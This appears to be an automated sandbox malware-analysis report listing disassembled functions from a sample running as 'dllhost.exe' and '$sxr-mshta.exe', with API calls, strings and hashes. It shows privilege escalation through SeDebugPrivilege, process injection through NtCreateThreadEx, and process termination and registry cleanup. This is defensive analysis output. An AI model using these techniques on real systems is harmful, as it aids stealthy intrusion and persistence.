Function 0000000140001648 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001653
GetProcAddress.KERNEL32 ref: 000000014000166A

Strings

ntdll.dll, xrefs: 000000014000164C
NtCreateThreadEx, xrefs: 0000000140001663

Memory Dump Source

Source File: 00000006.00000002.1875169417.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateThreadEx$ntdll.dll
API String ID: 1646373207-690569937
Opcode ID: 765a30b2bbc0babb255d7f809e438350524f6181367cf5a0d3374a3ce406139f
Instruction ID: 1f1ac530e8d7bc586301703381b49fd6cf30065bcfbc8e8d092ce1a2171d6dbf
Opcode Fuzzy Hash: 765a30b2bbc0babb255d7f809e438350524f6181367cf5a0d3374a3ce406139f
Instruction Fuzzy Hash: 5CD0E9F4612A41D1EA0BEF57FC593D512616B9C7C5F854461A70A43271DE3C859AC710

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 7132, Parent PID: 7128COMMON

Non-executed Functions

Function 0040133E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00401348
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
GetLastError.KERNEL32 ref: 004013B6
CloseHandle.KERNEL32(00000000), ref: 004013C5

Strings

SeDebugPrivilege, xrefs: 00401376

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: Process$OpenToken$AdjustCloseCurrentErrorHandleLastLookupPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2574353748-2896544425
Opcode ID: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction ID: e2a5f4244efd0fdb54eb2fb8bae3e68f4838b917bcc28da7506a6e19d6301c26
Opcode Fuzzy Hash: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction Fuzzy Hash: C101CC75901619AFE7009BA49E89BAF77BCEB04745F004435BA01F22D1D7B49E44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401081 Relevance: 19.6, APIs: 13, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 004011EB
GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0040120C
GetProcessHeap.KERNEL32(00000000,?,?,?,00000000), ref: 00401212
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 00401219

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction ID: da445f777c3a34a6d199b0584eba223951ce35d7d1b72319c39e632b78911c99
Opcode Fuzzy Hash: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction Fuzzy Hash: 8A513075D00219ABDB14DFD5CE84AAFBBB8FF0D300F10446AE645BB290D7789A41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004013D1 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131comCOMMON

Download Yara Rule

APIs

#2.OLEAUT32($sxrsvc32), ref: 004013E7
#2.OLEAUT32(00402114), ref: 004013F1
CoInitializeEx.OLE32(00000000,00000000), ref: 004013FA
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00401414
CoCreateInstance.OLE32(00402098,00000000,00000001,00402088,?), ref: 0040143F
#8.OLEAUT32(?), ref: 00401451
CoUninitialize.OLE32 ref: 004014DE
#6.OLEAUT32(?), ref: 004014F0
#6.OLEAUT32(00000000), ref: 004014F3

Strings

$sxrsvc32, xrefs: 004013E2

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurityUninitialize
String ID: $sxrsvc32
API String ID: 374467530-78464866
Opcode ID: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction ID: 8a654483f6148525abe5e909ff2a9399e1f522979beb927b6318c92976265d17
Opcode Fuzzy Hash: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction Fuzzy Hash: 55415271E00218AFDB00DFA9CD899AF7BBDEF45354B100069F905FB1A0C6B5AD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401509 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040133E: GetCurrentProcessId.KERNEL32 ref: 00401348
Part of subcall function 0040133E: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
Part of subcall function 0040133E: OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
Part of subcall function 0040133E: LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
Part of subcall function 0040133E: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
Part of subcall function 0040133E: GetLastError.KERNEL32 ref: 004013B6
Part of subcall function 0040133E: CloseHandle.KERNEL32(00000000), ref: 004013C5

RegOpenKeyExW.ADVAPI32(?,SOFTWARE,00000000,000F023F,?,?,?,?,00401501), ref: 00401528
RegDeleteValueW.ADVAPI32(?,$sxrstager,?,?,?,00401501), ref: 0040153A
GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,?,00401501), ref: 00401552
HeapAlloc.KERNEL32(00000000,?,?,?,?,00401501), ref: 00401559
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401501), ref: 004015A0
HeapFree.KERNEL32(00000000,?,?,?,?,00401501), ref: 004015A7

Strings

SOFTWARE, xrefs: 0040151E
$sxrstager, xrefs: 00401532

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: Process$Heap$Open$TokenValue$AdjustAllocCloseCurrentDeleteErrorFreeHandleLastLookupPrivilegePrivileges
String ID: $sxrstager$SOFTWARE
API String ID: 2684971006-1606840681
Opcode ID: 4c570abea0792dd94860d043fe7cf1b7caeabb8fc4f27b3d0c74d9b7923a3ab5
Instruction ID: e2b15fd1bdb0af68db2fceded59578336af26d801dc78018de8527ed98e595ed
Opcode Fuzzy Hash: 4c570abea0792dd94860d043fe7cf1b7caeabb8fc4f27b3d0c74d9b7923a3ab5
Instruction Fuzzy Hash: B401A531B00310BBE7107BF59E4EB6F776D9B44705F00043AF706F62E2DAB89A418658

Uniqueness

Uniqueness Score: -1.00%

Function 00401292 Relevance: 10.6, APIs: 7, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040129E
HeapAlloc.KERNEL32(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012A5

Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
Part of subcall function 00401081: K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
Part of subcall function 00401081: OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
Part of subcall function 00401081: K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
Part of subcall function 00401081: ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
Part of subcall function 00401081: CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 004011EB
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
Part of subcall function 00401081: HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0040120C

OpenProcess.KERNEL32(00000001,00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012E3
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012F3
CloseHandle.KERNEL32(000003E8,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012FC
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040130F
HeapFree.KERNEL32(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 00401316

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: f8e2dd12d7d8159a1779e005bd96ddce77076a082f3154ee3cacccf03337a804
Instruction ID: ab2b09c8b71ca9c99a709ec0924a6b803fad294693bd42ca56058f473aaebc13
Opcode Fuzzy Hash: f8e2dd12d7d8159a1779e005bd96ddce77076a082f3154ee3cacccf03337a804
Instruction Fuzzy Hash: B601C071A00301ABEB116BE48F0DB5F77A8EB04712F144136EA05B22E1DBB88D40C768

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,SOFTWARE\$sxrconfig,00000000,000F013F,000003E8,?,00000000), ref: 00401022
RegDeleteKeyW.ADVAPI32(000003E8,?,?,00000000), ref: 00401038
RegEnumKeyExW.ADVAPI32(000003E8,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00401058
RegCloseKey.ADVAPI32(000003E8,?,00000000), ref: 00401065
RegDeleteKeyExW.ADVAPI32(?,SOFTWARE\$sxrconfig,000F013F,00000000,?,00000000), ref: 00401077

Strings

SOFTWARE\$sxrconfig, xrefs: 00401018, 0040106D

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\$sxrconfig
API String ID: 3013565938-435319591
Opcode ID: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction ID: d544ddb297f42690969b4a203d904ba38e423bc2ba9d9ccdcf6cbbeeb35745ab
Opcode Fuzzy Hash: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction Fuzzy Hash: CD011271500288FBD7609B92DE4DEAB7ABCEBC5741F10007AB605F10A0DB745E44DA35

Uniqueness

Uniqueness Score: -1.00%

Function 0040131F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00401271,000003E8,001FFFFF,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00401593), ref: 00401324
GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 00401334

Strings

NtCreateThreadEx, xrefs: 0040132E
ntdll.dll, xrefs: 0040131F

Memory Dump Source

Source File: 00000007.00000002.1910302250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateThreadEx$ntdll.dll
API String ID: 1646373207-690569937
Opcode ID: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction ID: d003ae9fd3514cd023d1297aa5e823454f89fcb9fe9eff1a1c2077655f61d9ec
Opcode Fuzzy Hash: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction Fuzzy Hash: 63C09270B423009AEE102B715F0DF0B3A686A40B42B1448B3B609F05E4DAFCC484D52C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-mshta.exePID: 344, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	88%
Signature Coverage:	8.4%
Total number of Nodes:	502
Total number of Limit Nodes:	6

Executed Functions

Function 00007FF7142F1008 Relevance: 45.7, APIs: 18, Strings: 8, Instructions: 225
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF7142F1036
GetModuleHandleW.KERNEL32 ref: 00007FF7142F1051
GetProcAddress.KERNEL32 ref: 00007FF7142F106C
LoadLibraryW.KERNEL32 ref: 00007FF7142F10CF
GetProcAddress.KERNEL32 ref: 00007FF7142F10F1
FreeLibrary.KERNEL32 ref: 00007FF7142F1142
RegOpenKeyExA.KERNEL32 ref: 00007FF7142F1177
RegQueryValueExA.KERNEL32 ref: 00007FF7142F11A8
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7142F11D0
LoadLibraryA.KERNEL32 ref: 00007FF7142F11F1
RegCloseKey.KERNEL32 ref: 00007FF7142F1220
GetModuleHandleW.KERNEL32 ref: 00007FF7142F1238
GetProcAddress.KERNEL32 ref: 00007FF7142F1257
MultiByteToWideChar.KERNEL32 ref: 00007FF7142F12B3
UnregisterApplicationRestart.KERNEL32 ref: 00007FF7142F12CB
GetProcAddress.KERNEL32 ref: 00007FF7142F12F0
FreeLibrary.KERNEL32 ref: 00007FF7142F1317
RegCloseKey.ADVAPI32 ref: 00007FF7142F134A

Strings

RunHTMLApplication, xrefs: 00007FF7142F12E6
RegisterApplicationRestart, xrefs: 00007FF7142F124D
kernel32.dll, xrefs: 00007FF7142F1231
HeapSetInformation, xrefs: 00007FF7142F1062
WldpGetLockdownPolicy, xrefs: 00007FF7142F10E7
WLDP.DLL, xrefs: 00007FF7142F10C8
Kernel32.dll, xrefs: 00007FF7142F104A
clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, xrefs: 00007FF7142F1169

Memory Dump Source

Source File: 0000000D.00000002.2917958810.00007FF7142F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7142F0000, based on PE: true

Associated: 0000000D.00000002.2917829662.00007FF7142F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918191653.00007FF7142F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7142f0000_$sxr-mshta.jbxd

Similarity

API ID: AddressLibraryProc$CloseFreeHandleLoadModule$ApplicationByteCharEnvironmentExpandMultiOpenQueryRestartStringsUnregisterValueVersionWide
String ID: HeapSetInformation$Kernel32.dll$RegisterApplicationRestart$RunHTMLApplication$WLDP.DLL$WldpGetLockdownPolicy$clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32$kernel32.dll
API String ID: 964684844-3560873152
Opcode ID: dc379254d7062b2c9d9d99fd964e67e02d36f5c1262e3285976f4046407a451e
Instruction ID: 7f3ef331644e1ce6af3de4bf0dc47f088633cd53e799c333f96ada96eca2d294
Opcode Fuzzy Hash: dc379254d7062b2c9d9d99fd964e67e02d36f5c1262e3285976f4046407a451e
Instruction Fuzzy Hash: 92915231A04F5286EB14AF52A880179E6E1BF4BBB4BD44235DE6E437D5DF3ED4888720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7142F1500 Relevance: 12.1, APIs: 8, Instructions: 136
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7142F19D4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7142F1A04
Part of subcall function 00007FF7142F19D4: GetCurrentProcessId.KERNEL32 ref: 00007FF7142F1A12
Part of subcall function 00007FF7142F19D4: GetCurrentThreadId.KERNEL32 ref: 00007FF7142F1A1E
Part of subcall function 00007FF7142F19D4: GetTickCount.KERNEL32 ref: 00007FF7142F1A2A
Part of subcall function 00007FF7142F19D4: GetTickCount.KERNEL32 ref: 00007FF7142F1A3A
Part of subcall function 00007FF7142F19D4: QueryPerformanceCounter.KERNEL32 ref: 00007FF7142F1A55

GetStartupInfoW.KERNEL32 ref: 00007FF7142F1535
_amsg_exit.MSVCRT ref: 00007FF7142F1570
Sleep.KERNEL32 ref: 00007FF7142F157C
_initterm.MSVCRT ref: 00007FF7142F160A
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7142F1637
exit.MSVCRT ref: 00007FF7142F16C9
_cexit.MSVCRT ref: 00007FF7142F16D8
_ismbblead.MSVCRT ref: 00007FF7142F16F8

Memory Dump Source

Source File: 0000000D.00000002.2917958810.00007FF7142F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7142F0000, based on PE: true

Associated: 0000000D.00000002.2917829662.00007FF7142F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2918191653.00007FF7142F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7142f0000_$sxr-mshta.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: 8ef2287d5b1e52fc58e3dc8e8be003c765be3ed4ec92099b48e4b2bdbdfc42d3
Instruction ID: ea86fe5f0ed52ae5cc64cab38e145c3400b4e51de6f73acc22bffbbc4feaa70b
Opcode Fuzzy Hash: 8ef2287d5b1e52fc58e3dc8e8be003c765be3ed4ec92099b48e4b2bdbdfc42d3
Instruction Fuzzy Hash: 42510D31908E4685F760AF23E8D0775A2E4FB477A4FE80435D94E86695DF3EE9C88720

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBD1D0 Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000001A00BDBD1E9
FreeEnvironmentStringsW.KERNEL32 ref: 000001A00BDBD2AD

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction ID: 3ad0317acba294e503705554d0d3cff192d72a95ef70eaf17eaae038c2faa7ab
Opcode Fuzzy Hash: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction Fuzzy Hash: 5A219531B15F90C1E6219F12A500799F6A5F78FBD0F495236EE896BBD8EF38C4518701

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00AAD29A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 000001A00AAD2A42

Memory Dump Source

Source File: 0000000D.00000002.2917423134.000001A00AAD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001A00AAD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00aad0000_$sxr-mshta.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: c9cf6f5040c86bcf3847dedca6d4ac5f91d63bb0bd5d9c9f60c5a2eba71b3a6f
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 8D61233270225083EB6ACF15D6507EDB391FB4ABD4F548221EA9A07BC5DB38E896C701

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBB900 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001A00BDBB955

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: e0b30aa0e67bf74424123e57286eb7d4fbf55c1ab2cd6a37b5abb5d6e6d20d36
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: C7F06D74703E05C9FF5B5F629651BD9D2809B4FBC0F0A5823A90A9E3D1FF2CC4418212

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBB978 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 000001A00BDBB98E

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: b1310946baaa146bd96c7807db8a835eb8cf8186b8e31cd4033629dda616d4af
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: F5D0A9B0B03C02C6FE2E9FA26A057F08240DB9F7C4F048023B80889291FB1084918242

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00A5B0FC1 Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2915898669.000001A00A5B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001A00A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00a5b0000_$sxr-mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 24b1b97687fa8c33246133a52294ce69bdb011dba7b5e7b4cbb69c904c6eacf0
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: 79900254AA640A55D41551910D4639D5040738D392FD446805416D0184D54D42D75163

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001A00BDB2D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001A00BDB2E1C
lstrlenW.KERNEL32 ref: 000001A00BDB3056

Part of subcall function 000001A00BDB1A14: OpenProcess.KERNEL32 ref: 000001A00BDB1A3A
Part of subcall function 000001A00BDB1A14: K32GetModuleFileNameExW.KERNEL32 ref: 000001A00BDB1A58
Part of subcall function 000001A00BDB1A14: PathFindFileNameW.SHLWAPI ref: 000001A00BDB1A67
Part of subcall function 000001A00BDB1A14: lstrlenW.KERNEL32 ref: 000001A00BDB1A73
Part of subcall function 000001A00BDB1A14: StrCpyW.SHLWAPI ref: 000001A00BDB1A86
Part of subcall function 000001A00BDB1A14: CloseHandle.KERNEL32 ref: 000001A00BDB1A94

GetProcAddress.KERNEL32 ref: 000001A00BDB2E31

Part of subcall function 000001A00BDB1554: StrCmpIW.SHLWAPI ref: 000001A00BDB1585

Part of subcall function 000001A00BDB39D0: StrCmpNIW.SHLWAPI ref: 000001A00BDB39E8

StrCmpNIW.SHLWAPI ref: 000001A00BDB2E74
lstrlenW.KERNEL32 ref: 000001A00BDB2F9C

Strings

NtQueryObject, xrefs: 000001A00BDB2E27
\Device\Nsi, xrefs: 000001A00BDB2E67
ntdll.dll, xrefs: 000001A00BDB2E15

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: eea6f709ce83b93bf8c931aa4dc70c80e406a7dbfba1389e0918635ceccdc5f6
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: C4B17C72312E91C2EB568F26D640BE9A7A4FB4BBD4F455017FE095BB94EB35C880C341

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB7F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001A00BDB7F2C
RtlCaptureContext.NTDLL ref: 000001A00BDB7F59
RtlLookupFunctionEntry.NTDLL ref: 000001A00BDB7F73
RtlVirtualUnwind.NTDLL ref: 000001A00BDB7FB4
IsDebuggerPresent.KERNEL32 ref: 000001A00BDB8008
SetUnhandledExceptionFilter.KERNEL32 ref: 000001A00BDB8029
UnhandledExceptionFilter.KERNEL32 ref: 000001A00BDB8034

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
